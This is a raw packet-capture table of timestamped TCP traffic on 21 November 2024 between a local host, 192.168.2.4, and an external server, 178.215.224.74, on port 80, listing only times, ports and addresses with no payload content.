Nov 21, 2024 20:00:24.489247084 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.490000010 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.490042925 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.490060091 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.490075111 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.490094900 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.490897894 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.490952015 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.490967035 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.490993977 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.491780996 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.491827965 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.491842031 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.491843939 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.491942883 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.492664099 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.492717981 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.492736101 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.492765903 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.493558884 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.493616104 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.493630886 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.493681908 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.493681908 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.494462013 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.494501114 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.494524002 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.494576931 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.495379925 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.495532036 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.495637894 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.495702028 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.495794058 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.495851040 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.496606112 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.496686935 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.496815920 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.496892929 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.496994972 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.497415066 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.497488022 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.497519016 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.497602940 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.498354912 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.498405933 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.498421907 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.498466969 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.498466969 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.499229908 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.499325991 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.499341965 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.499469042 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.500164986 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.500216007 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.500231028 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.500252962 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.500324965 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.500996113 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.501029968 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.501045942 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.501199007 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.501878023 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.501955986 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.501971960 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.502011061 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.502011061 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.520534039 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.520570040 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.520586014 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.520689011 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.520880938 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.520944118 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.520991087 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.521008015 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.521099091 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.521876097 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.575330973 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.665396929 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.665508986 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.665611982 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.665625095 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.665702105 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.665718079 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.665904999 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.666405916 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.666462898 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.666477919 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.666526079 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.666527033 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.667123079 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.667167902 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.667182922 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.667242050 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.668078899 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.668124914 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.668139935 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.668190956 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.668190956 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.668975115 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.669061899 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.669076920 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.669822931 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.669881105 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.669895887 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.669920921 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.669920921 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.670711994 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.670810938 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.670825005 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.670846939 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.670846939 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.671602964 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.671679974 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.671693087 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.671739101 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.671739101 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.672489882 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.672549963 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.672564983 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.673274994 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.673383951 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.673453093 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.673466921 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.673511028 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.673554897 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.674299955 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.674374104 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.674391031 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.674614906 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.675177097 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.675261974 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.675276995 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.675321102 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.675321102 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.676058054 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.676147938 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.676162958 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.676500082 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.676947117 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.677012920 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.677027941 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.677071095 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.677071095 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.677928925 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.677994013 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.678010941 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.678726912 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.678750992 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.678818941 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.678832054 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.678878069 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.678878069 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.679646969 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.679697037 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.679711103 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.679851055 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.680531979 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.680578947 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.680600882 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.680639029 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.680639982 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.681463957 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.681498051 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.681513071 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.682022095 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.682328939 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.682389975 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.682404041 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.682450056 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.682451010 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.683250904 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.683358908 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.683374882 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.683851957 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.684182882 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.684240103 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.684253931 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.684281111 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.684376955 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.685064077 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.685148001 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.685189009 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.685296059 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.685913086 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.685944080 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.685949087 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.685960054 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.686780930 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.686844110 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.686857939 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.686892986 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.686892986 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.687699080 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.687982082 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.688023090 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.688036919 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.688055992 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.688055992 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.689001083 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.689052105 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.689065933 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.689110994 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.689110994 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.689765930 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.689868927 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.689882994 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.690642118 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.690732956 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.690747976 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.690768957 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.690768957 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.691353083 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.691544056 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.691607952 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.691622972 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.692261934 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.692429066 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.692475080 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.692488909 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.692523956 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.692549944 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.693315983 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.693392038 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.693406105 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.693553925 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.694272041 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.694422960 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.694578886 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.712486029 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.712658882 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.712671995 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.712712049 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.712727070 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.712774992 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.712774992 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.713480949 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.713509083 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.713522911 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.713563919 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.713563919 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.762696028 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.857445002 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.857676029 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.857692003 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.857738972 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.857858896 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.857903957 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.857914925 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.858395100 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.858436108 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.858515978 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.858958006 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.858995914 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.859014034 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.859029055 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.859061003 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.859818935 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.859863043 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.859878063 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.859925032 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.860738039 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.860795975 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.860811949 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.860835075 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.860847950 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.861645937 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.861746073 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.861758947 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.861784935 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.862646103 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.862699032 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.862706900 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.862721920 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.862756968 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.863636017 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.863711119 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.863724947 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.863758087 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.864320040 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.864362001 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.864387035 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.864402056 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.864434958 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.865442991 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.865520954 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.865535975 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.865569115 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.866394043 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.866449118 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.866462946 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.866477966 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.866517067 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.867117882 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.867161036 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.867177963 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.867202997 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.867944956 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.867994070 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.868021011 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.868056059 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.868161917 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.868752003 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.868824005 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.868839025 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.868868113 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.869685888 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.869719982 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.869734049 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.869769096 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.869812965 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.870537043 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.870603085 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.870616913 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.870642900 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.871444941 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.871501923 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.871516943 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.871558905 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.871594906 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.872356892 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.872414112 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.872430086 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.872469902 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.873220921 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.873265028 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.873269081 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.873282909 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:24.873322964 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:24.933305025 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:25.053951979 CET	80	49838	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:25.054100037 CET	49838	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:26.071933031 CET	49854	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:26.193392992 CET	80	49854	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:26.193485975 CET	49854	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:26.193878889 CET	49854	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:26.317761898 CET	80	49854	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:27.456290960 CET	80	49854	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:27.469289064 CET	49854	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:27.589205980 CET	80	49854	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:27.589277983 CET	49854	80	192.168.2.4	178.215.224.74
